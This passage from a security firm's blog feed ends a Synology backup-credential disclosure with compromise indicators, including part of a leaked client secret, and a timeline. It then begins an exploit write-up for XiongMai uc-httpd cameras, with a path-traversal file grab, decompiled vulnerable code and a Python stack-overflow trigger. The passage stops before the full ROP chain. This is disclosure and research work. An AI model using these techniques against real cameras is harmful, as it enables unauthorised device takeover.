<p>Despite our attempts at clarification, Synology would not consider our arguments further. Later it came to our surprise that they maintained their own assessment, as they <a href="https://web.archive.org/web/20250522140114/https://www.synology.com/en-ca/security/advisory/Synology_SA_25_06">published the advisory</a> without informing us. In our opinion, apart from severely lowering the impact rating, they opted to be vague in the abstract of the vulnerability:</p>
<figure>
<blockquote>
<p>&ldquo;A vulnerability in Synology Active Backup for Microsoft 365 allows remote authenticated attackers to obtain sensitive information via unspecified vectors.&rdquo;</p>
</blockquote>
<figcaption>Excerpt from the advisory of Synology's description of the vulnerability</figcaption>
</figure>
<p>This description omits all the interesting details, such as <em>which</em> and <em>how</em> &ldquo;sensitive information&rdquo; could have been accessed. It also makes it sound like the requirement for an attacker to authenticate <em>somewhere</em> would constitute a security boundary. In reality, malicious actors could <strong>trivially compromise all users of ABM</strong> by leveraging the <strong>publicly exposed credential</strong>.</p>
<p>To our knowledge, Synology also has yet to inform impacted users of this attack vector having potentially been exploited. Apart from publishing the advisory which states that customer action is not required, we believe that a more informative notice i.e. containing <a href="https://www.microsoft.com/en-us/security/business/security-101/what-are-indicators-of-compromise-ioc">Indicators of Compromise (IoC)</a> would have been more appropriate. Therefore, we independently provide a few of those in this post further below.</p>
<h2 id="conclusion">Conclusion</h2>
<p>At the risk of sounding preachy: the real lesson is that the convenience of cloud does not absolve anyone of doing their security diligence. In today&rsquo;s shifting threat landscape, organizations invite attacks simply through the complexity of everything. The fact that third-party vendors, such as Synology, have this kind of access to an organization&rsquo;s data at any given time should already send shivers down your spine. A simple 40-character string leaked by a vendor you entrusted to use can be all it takes for your precious data to be compromised and sold on the dark web. If your data is so important that it merits backups, you must accept that the very risks and responsibilities you hoped to delegate will ultimately end up back with you. Therefore, you should implement the appropriate measures before that day comes.</p>
<h3 id="takeaways">Takeaways</h3>
<p>A few concrete learnings for the different stakeholders:</p>
<p><strong>Organizations</strong></p>
<ul>
<li>Regularly audit third-party provider permissions and access</li>
<li>Implement logging and monitoring for capabilities to detect unauthorized access</li>
<li>Realize your due diligence responsibilities within the <a href="https://learn.microsoft.com/en-us/azure/security/fundamentals/shared-responsibility">shared responsibility model</a></li>
</ul>
<p><strong>Researchers</strong></p>
<ul>
<li>Follow your intuition when doing security research</li>
<li>Identify assumed security boundaries to understand broader implications</li>
<li>Advocate for transparency of cloud vulnerabilities for more awareness and as potential learning material</li>
</ul>
<p><strong>Vendors</strong></p>
<ul>
<li>Apply and validate adherence to the principle of least privilege</li>
<li>Transparently disclose vulnerabilities and notify/support impacted users appropriately</li>
<li>Recognize that your services may have substantial impact due to being high value targets within cloud-based supply chain attacks</li>
</ul>
<hr>
<h2 id="indicators-of-compromise">Indicators of Compromise</h2>
<table>
  <thead>
      <tr>
          <th>Signal</th>
          <th>Location</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>ABM client ID (global application ID): <code>b4f234da-3a1a-4f4d-a058-23ed08928904</code> (<code>&quot;Synology Active Backup for M365&quot;</code>)</td>
          <td>Entra/Azure sign-in logs</td>
      </tr>
      <tr>
          <td>ABM app registration client secret value: <code>ARI8Q~sHOuwMoX.</code> (first 15 characters)</td>
          <td>Traffic logs (i.e. WAFs/load balancers)</td>
      </tr>
      <tr>
          <td>ABM service principal sign-ins from IP <code>220.130.175.235</code> or ASN range <code>&quot;AS3462 Data Communication Business Group&quot;</code> (Taiwan)</td>
          <td>Entra/Azure sign-in logs</td>
      </tr>
      <tr>
          <td>Large volume API requests for Microsoft Teams from IPs not maching the respective NAS instance</td>
          <td>Microsoft Graph activity logs</td>
      </tr>
      <tr>
          <td>Unusual egress from NAS instance to Microsoft Graph API outside backup windows</td>
          <td>Traffic logs (i.e. WAFs/load balancers)</td>
      </tr>
      <tr>
          <td>Foreign service principals with (privileged) application permissions</td>
          <td>Microsoft Graph API (<code>appOwnerOrganizationId</code> != tenant GUID)</td>
      </tr>
  </tbody>
</table>
<p><em>Note: It is unknown why IPs from AS3462 are singning in to the ABM service principals. They are likely performed by Synology.</em></p>
<h2 id="disclosure-timeline">Disclosure Timeline</h2>
<table>
  <thead>
      <tr>
          <th>Date</th>
          <th>Comment</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>April 4, 2025</td>
          <td>modzero sends responsible disclosure report to Synology and requests CVE through Synology CNA</td>
      </tr>
      <tr>
          <td>April 11, 2025</td>
          <td>modzero inquires whether report was received</td>
      </tr>
      <tr>
          <td>April 14, 2025</td>
          <td>Synology confirms reception of the report, points out that submissions are only accepted via their Security Bug Bounty Program</td>
      </tr>
      <tr>
          <td>April 14, 2025</td>
          <td>modzero inquires about CVE assignment</td>
      </tr>
      <tr>
          <td>April 15, 2025</td>
          <td>Synology offered to reward modzero for the efforts, reserved CVE-2025-3695 for the vulnerability as a &ldquo;one time exception&rdquo;</td>
      </tr>
      <tr>
          <td>April 23, 2025</td>
          <td>modzero clarifies report was not a submission for the bug bounty program, asks for description and CVSS vector of CVE-2025-3695</td>
      </tr>
      <tr>
          <td>April 24, 2025</td>
          <td>Synology provides assessed description and CVSS vector</td>
      </tr>
      <tr>
          <td>May 5, 2025</td>
          <td>modzero proposes adapting CVSS vector</td>
      </tr>
      <tr>
          <td>May 7, 2025</td>
          <td>Synology declines proposal, provides reasoning</td>
      </tr>
      <tr>
          <td>May 16, 2025</td>
          <td>Synology publishes vulnerability advisory with CVE-ID CVE-2025-4679</td>
      </tr>
      <tr>
          <td>May 16, 2025</td>
          <td>modzero requests to update CVSS vector and description, provides justification</td>
      </tr>
      <tr>
          <td>May 22, 2025</td>
          <td>modzero asks for response to the feedback</td>
      </tr>
      <tr>
          <td>May 25, 2025</td>
          <td>Synology revises advisory to fix credits, refuses justification regarding vulnerability abstract and impact</td>
      </tr>
      <tr>
          <td>June 27, 2025</td>
          <td>modzero publishes advisory and blog post</td>
      </tr>
  </tbody>
</table>
<h2 id="further-reading">Further Reading</h2>
<ul>
<li><a href="https://heusser.pro/p/whats-the-difference-between-an-entra-id-app-registration-and-an-enterprise-app-4yyib4g1sk5a/">&ldquo;Understanding Microsoft Entra ID App Registrations, Enterprise Apps and Service Principals&rdquo; (heusser.de)</a></li>
<li><a href="https://www.scip.ch/en/?labs.20240404">&ldquo;Foreign Entra Workload Identities: A Security Boundary Risk?&rdquo; (scip AG)</a></li>
<li><a href="https://www.semperis.com/blog/unoauthorized-privilege-elevation-through-microsoft-applications/">&ldquo;UnOAuthorized: Privilege Elevation Through Microsoft Applications&rdquo; (sempheris)</a></li>
</ul>
]]></content:encoded></item><item><title>[MZ-25-02] Synology Active Backup for Microsoft 365</title><link>https://modzero.com/en/advisories/mz-25-02-synology-active-backup-m365/</link><pubDate>Fri, 27 Jun 2025 17:00:00 +0000</pubDate><author>Leonid Hartmann</author><category>advisory</category><guid>https://modzero.com/en/advisories/mz-25-02-synology-active-backup-m365/</guid><description>SynoOauth leaked credentials allowing unauthorized access to Microsoft Entra tenants using &amp;ldquo;Active Backup for Microsoft 365&amp;rdquo; (ABM)</description><content:encoded><![CDATA[<p>The standalone disclosure report can be found <a href="/static/MZ-25-02_modzero_Synology-Active-Backup-M365.pdf">here</a>. The full details are published in our <a href="https://modzero.com/en/blog/when-backups-open-backdoors-synology-active-backup-m365/">blog post</a>.</p>
]]></content:encoded></item><item><title>[MZ-25-01] Via Browser for Android</title><link>https://modzero.com/en/advisories/mz-25-01-via-browser/</link><pubDate>Thu, 27 Feb 2025 00:00:00 +0200</pubDate><author>Finn Westendorf</author><category>advisory</category><guid>https://modzero.com/en/advisories/mz-25-01-via-browser/</guid><description>Via Browser was affected by a universal Cross-Site Scripting (uXSS) issue</description><content:encoded>&lt;p>The full disclosure report can be found &lt;a href="/static/MZ-25-01_modzero_uXSS-in-Via-Browser.pdf">here&lt;/a>.&lt;/p>
</content:encoded></item><item><title>ROPing our way to RCE</title><link>https://modzero.com/en/blog/roping-our-way-to-rce/</link><pubDate>Fri, 07 Feb 2025 10:00:00 +0000</pubDate><author>Michael Imfeld</author><category>playground</category><guid>https://modzero.com/en/blog/roping-our-way-to-rce/</guid><description>This post traces the development of a leak‑free ARM ROP chain that defeats ASLR on a modern IoT firmware. Read the reverse‑engineering, gadget‑hunting and exploit engineering that turned a firmware bug into unauthenticated RCE.</description><content:encoded><![CDATA[<p>In red teaming engagements, simply finding an XSS or basic misconfiguration often isn&rsquo;t enough, achieving RCE is the real deal. During one such assessment, we came across XiongMai’s uc-httpd, a lightweight web server used in countless IP cameras worldwide. According to Shodan, roughly 70k instances of this software are publicly exposed on the internet. Despite its history of severe vulnerabilities, no readily available exploit seemed to provide code execution, so I set out to build one.</p>
<p>The original plan was to target CVE-2018-10088<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>, a buffer overflow vulnerability for which an existing exploit<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> only crashes the server but does not gain RCE. But as with most of these journeys, there&rsquo;s rarely a straight path, and more often than not, adaptation is key. So along the way, I discovered new paths, learned about the ARM architecture, and built a ROP chain that was delivered via a web request and reused the same connection as a shell. Who needs a reverse shell anyway? But let&rsquo;s start at the beginning of the story.</p>
<h2 id="analysis">Analysis</h2>
<p>Before anything can be exploited we need an understanding of the vulnerability. So, first and foremost, I needed to obtain either the source code or a compiled binary of uc-http. Unsurprisingly, this software is not open source. But much to my convenience there is CVE-2017-7577<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>, a very trivial path traversal vulnerability, which allows to download arbitrary files from an affected uc-http server. Via <code>/proc/self/exe</code> the currently running executable - usually the file is called <em>Sofia</em> - can be downloaded for analysis.</p>
<p>I went ahead with the usual inspection of the target binary utilizing <code>file</code> and <code>checksec</code><sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup>. As we can see below it&rsquo;s an ARM 32bit dynamically linked executable.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">$ file Sofia
</span></span><span class="line"><span class="cl">Sofia: ELF 32-bit LSB executable, ARM, EABI5 version <span class="m">1</span> <span class="o">(</span>SYSV<span class="o">)</span>, dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">$ checksec --file<span class="o">=</span>Sofia
</span></span><span class="line"><span class="cl">RELRO           STACK CANARY      NX            PIE
</span></span><span class="line"><span class="cl">No RELRO        No canary found   NX disabled   No PIE 
</span></span></code></pre></td></tr></table>
</div>
</div><p>There is no Relocation Read-Only (RELRO), meaning the Global Offset Table (GOT) is writable, no stack canary to detect stack overflows, and no-execute (NX) is disabled, allowing execution of shellcode on the stack. Also, since it isn&rsquo;t a position-independent executable (PIE), the binary is always loaded at a fixed address.</p>
<p>I fired up Ghidra to decompile the binary and explore its inner workings. By cross-referencing the log output of the binary, when triggering the existing exploit, with strings found in the binary, I was able to pinpoint a function that appeared to act as an HTTP dispatcher (more on the exact debugging environment later).</p>
<figure><img src="/static/roping-our-way-to-rce/dispatcher.png"><figcaption>
      <h4>Decompiled HTTP dispatcher of Sofia binary.</h4>
    </figcaption>
</figure>

<p>In this function CVE-2018-10088<sup id="fnref1:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> was fairly simple to spot. The usual suspect <code>strcpy</code> was used to copy <code>username</code> and <code>password</code> parameters from an http request&rsquo;s body into some data segments.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">substring</span> <span class="o">=</span> <span class="nf">strtok</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="s">&#34;&amp;&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nf">strcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">DATA_USERNAME</span><span class="p">,</span><span class="n">substring</span> <span class="o">+</span> <span class="mi">9</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="n">substring</span> <span class="o">=</span> <span class="nf">strtok</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="s">&#34;&amp;&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nf">strcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">DATA_PASSWORD</span><span class="p">,</span><span class="n">substring</span> <span class="o">+</span> <span class="mi">9</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>By inspecting said data segments I found that these buffers have a length of 20 bytes each. Therefore usernames and passwords that exceed a length of 20 characters cause the respective buffers to overflow. I also found that these buffers are located within the binary&rsquo;s <code>.bss</code> data segment which is certainly not ideal for hijacking the program&rsquo;s execution. I noticed though, that there are some function pointers further down in that segment that could be overwritten using this overflow which, in theory, could allow redirecting execution.</p>
<p>However, after skimming through the rest of the dispatcher function I found another vulnerability (CVE-2022-45460 as I found out much later) which seemed much more promising for what I had in mind. Let&rsquo;s have a look at it.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">iVar1</span> <span class="o">=</span> <span class="nf">strcmp</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">__s1</span><span class="p">,</span><span class="s">&#34;.lang&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">iVar1</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">sprintf</span><span class="p">(</span><span class="n">filepath</span><span class="p">,</span><span class="s">&#34;%s/%s&#34;</span><span class="p">,</span><span class="s">&#34;/mnt/custom&#34;</span><span class="p">,</span><span class="o">&amp;</span><span class="n">DAT_FILEPATH</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">substring</span> <span class="o">=</span> <span class="nf">strstr</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">uri</span><span class="p">,</span><span class="s">&#34;mns.cab&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">substring</span> <span class="o">==</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">strstr</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">uri</span><span class="p">,</span><span class="s">&#34;logo/&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nf">sprintf</span><span class="p">(</span><span class="n">filepath</span><span class="p">,</span><span class="s">&#34;%s/%s&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">sprintf</span><span class="p">(</span><span class="n">filepath</span><span class="p">,</span><span class="s">&#34;%s/%s&#34;</span><span class="p">,</span><span class="s">&#34;/usr/mobile&#34;</span><span class="p">,</span><span class="n">uri</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="n">iVar1</span> <span class="o">=</span> <span class="nf">stat</span><span class="p">(</span><span class="n">filepath</span><span class="p">,</span><span class="o">&amp;</span><span class="n">stat_struct</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">iVar1</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">((</span><span class="n">filepath</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">&#39;\0&#39;</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">iVar1</span> <span class="o">=</span> <span class="nf">atoi</span><span class="p">(</span><span class="n">filepath</span><span class="p">),</span> <span class="mi">0</span> <span class="o">&lt;</span> <span class="n">iVar1</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">DAT_006e9324</span> <span class="o">=</span> <span class="n">iVar1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="nf">sprintf</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">uStack_68</span><span class="p">,</span><span class="s">&#34;.%s&#34;</span><span class="p">,</span><span class="s">&#34;/index.htm&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">FUN_003376cc</span><span class="p">(</span><span class="n">socket_stream</span><span class="p">,</span><span class="o">&amp;</span><span class="n">uStack_68</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nf">write_response_header</span><span class="p">(</span><span class="n">socket_stream</span><span class="p">,</span><span class="mh">0x68</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">fwrite</span><span class="p">(</span><span class="s">&#34;&lt;html&gt;&lt;head&gt;&lt;title&gt;404 File Not Found&lt;/title&gt;&lt;/head&gt;</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mh">0x35</span><span class="p">,</span><span class="n">socket_stream</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">fwrite</span><span class="p">(</span><span class="s">&#34;&lt;body&gt;The requested URL was not found on this server&lt;/body&gt;&lt;/html&gt;</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mh">0x43</span><span class="p">,</span><span class="n">socket_stream</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>The excerpt shows that URIs and file paths are concatenated using <code>sprintf</code>, once again without any bounds checking. Particularly interesting is the branch where the user-controlled URI is concatenated with the string <em>/usr/mobile</em>. In this case the overflow happens on a stack variable I called <code>filepath</code>. Overflows on the stack are powerful because typically function return addresses are stored on the stack, making it possible to overwrite them during an overflow and redirect the program&rsquo;s execution. And since there are no stack canaries in place to hinder exploitation, this should be relatively straightforward to exploit.</p>
<h2 id="debugging-setup">Debugging Setup</h2>
<p>Before diving into experiments with the vulnerability, I wanted to set up a dedicated testing environment for debugging. My goal with this was to avoid relying on any hardware device. Without the use of any existing exploit I also didn&rsquo;t have access to the device to deploy a debugger.</p>
<p>So I began with dumping the filesystem using the path traversal vulnerability<sup id="fnref1:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> as mentioned before. I then experimented with <code>chroot</code> and QEMU&rsquo;s ARM System emulator<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup> to have a purely virtualized environment. This worked quite well for a while but eventually exhibited seemingly weird behavior particularly in terms of memory addressing.</p>
<p>I still had a Raspberry Pi lying around, so I figured I&rsquo;d give that one a try. I copied the gathered rootfs to the Pi and grabbed static <code>gdbserver</code><sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup> and <code>bash</code> (required by gdb) binaries. I then started up <code>gdbserver</code> inside the chroot on the Pi.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">$ sudo mount --bind /proc/ rootfs/proc
</span></span><span class="line"><span class="cl">mount: <span class="o">(</span>hint<span class="o">)</span> your fstab has been modified, but systemd still uses
</span></span><span class="line"><span class="cl">       the old version<span class="p">;</span> use <span class="s1">&#39;systemctl daemon-reload&#39;</span> to reload.
</span></span><span class="line"><span class="cl">pwn@raspberrypi:~ $ sudo chroot rootfs/ sh
</span></span><span class="line"><span class="cl"><span class="c1"># ls</span>
</span></span><span class="line"><span class="cl">bin        dev        gdbserver  linuxrc    proc       tmp        utils
</span></span><span class="line"><span class="cl">boot       etc        lib        mnt        sbin       usr        var
</span></span><span class="line"><span class="cl"><span class="c1"># ./gdbserver :8888 Sofia</span>
</span></span><span class="line"><span class="cl">Process Sofia created<span class="p">;</span> <span class="nv">pid</span> <span class="o">=</span> <span class="m">911</span>
</span></span><span class="line"><span class="cl">Listening on port <span class="m">8888</span>
</span></span><span class="line"><span class="cl">Remote debugging from host 192.168.2.1, port <span class="m">64996</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>Then I connected to it from my machine using <code>gdb-multiarch</code>.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">$ gdb-multiarch
</span></span><span class="line"><span class="cl">GNU gdb <span class="o">(</span>Debian 15.2-1+b1<span class="o">)</span> 15.2
</span></span><span class="line"><span class="cl">Copyright <span class="o">(</span>C<span class="o">)</span> <span class="m">2024</span> Free Software Foundation, Inc.
</span></span><span class="line"><span class="cl"><span class="o">(</span>...<span class="o">)</span>
</span></span><span class="line"><span class="cl">gef➤ gef-remote 192.168.2.2 <span class="m">8888</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>So the final setup looked roughly like this<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup> <sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup>:</p>
<figure>
    <img src="/static/roping-our-way-to-rce/gdb-setup.png" style="border:0">
    <figcaption>
        <h4>Raspberry Pi debugging setup with GDB-Server and GEF-client.</h4>
    </figcaption>
</figure>
<p>This setup allowed to use GEF<sup id="fnref:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup> on the attacker&rsquo;s machine to set breakpoints and debug the target on the Pi remotely. Perfect.</p>
<h2 id="triggering-the-vulnerability">Triggering the Vulnerability</h2>
<p>With the described setup in place a first attempt could be made to trigger the identified vulnerability. This process was no different than with any pwn binary exploitation challenge of this type. To take control of execution, we first need to determine where our input overwrites a specific offset on the stack that eventually gets popped into the program counter (PC). By sending a unique pattern and observing which bytes end up in the PC when the program crashes, we can pinpoint the exact offset. The only thing to keep in mind was to always end the URI with <em>.mns.cab</em> to ensure the correct code path was being hit.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">sys</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">socket</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">+=</span> <span class="mi">304</span> <span class="o">*</span> <span class="sa">b</span><span class="s2">&#34;A&#34;</span> <span class="o">+</span> <span class="sa">b</span><span class="s2">&#34;BBBB&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="o">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="o">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span> <span class="k">as</span> <span class="n">sock</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">sock</span><span class="o">.</span><span class="n">connect</span><span class="p">((</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nb">int</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">])))</span>
</span></span><span class="line"><span class="cl">    <span class="n">sock</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;GET /&#34;</span> <span class="o">+</span> <span class="n">payload</span> <span class="o">+</span> <span class="sa">b</span><span class="s2">&#34;.mns.cab HTTP/1.1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">sock</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\r\n\r\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">sock</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>To observe what was happening server-side, I placed a breakpoint at the return statement following the vulnerable section, right after the second call to <code>fwrite</code>. As shown below, registers r4 to r10 are popped from the stack, followed by PC. With the Python script above, these registers were filled with the character A, while PC was set to <em>BBBB</em>, marking the entry point for the control flow hijacking.</p>
<figure><img src="/static/roping-our-way-to-rce/trigger-vuln.png"><figcaption>
      <h4>Triggering the buffer overflow vulnerability.</h4>
    </figcaption>
</figure>

<h2 id="building-the-exploit">Building the Exploit</h2>
<p>At this point there are a few things to mention. Although NX was disabled, meaning there should have been an executable stack, I wasn&rsquo;t really sure about this. Within my Raspberry Pi setup the stack was always marked as <code>rw</code> as opposed to <code>rwx</code>. Attempts of executing shellcode from the stack failed. I therefore (incorrectly) assumed that this would be the same on a real device. I didn&rsquo;t spend much more thought about it and continued with the plan to build a ROP chain instead.</p>
<p>A ROP (Return-Oriented Programming) chain is a technique used in exploitation where an attacker leverages small code snippets, or <em>gadgets</em>, already present in a program&rsquo;s memory. By chaining these gadgets together, they can execute arbitrary code without injecting anything new.</p>
<p>Also, although PIE was disabled for the <em>Sofia</em> binary itself, the included libraries had PIE enabled and I was therefore also assuming that ASLR was enabled. When building a ROP chain this means that an ASLR bypass is needed in order to use gadgets from included libraries such as libc.</p>
<p>Another important thing to keep in mind is that, since we&rsquo;re using <code>sprintf</code> for the overflow, the payload cannot contain null bytes, or it will be truncated. Additionally, after inspecting the decompiled section further, I found that spaces are stripped as well.</p>
<h3 id="aslr-bypass">ASLR Bypass</h3>
<p>Because PIE is not enabled on the <em>Sofia</em> binary, it will always be loaded into the same memory region, even if ASLR is enabled. However, since the binary is mapped within a region that only spans the lower 3 bytes of the address space, every address contains a null byte in its most significant byte. This means that, at least for the entry point of the ROP chain, gadgets from the <em>Sofia</em> binary itself can&rsquo;t be used. I therefore focused on the included libc, but since libc was compiled with PIE, bypassing ASLR became essential.</p>
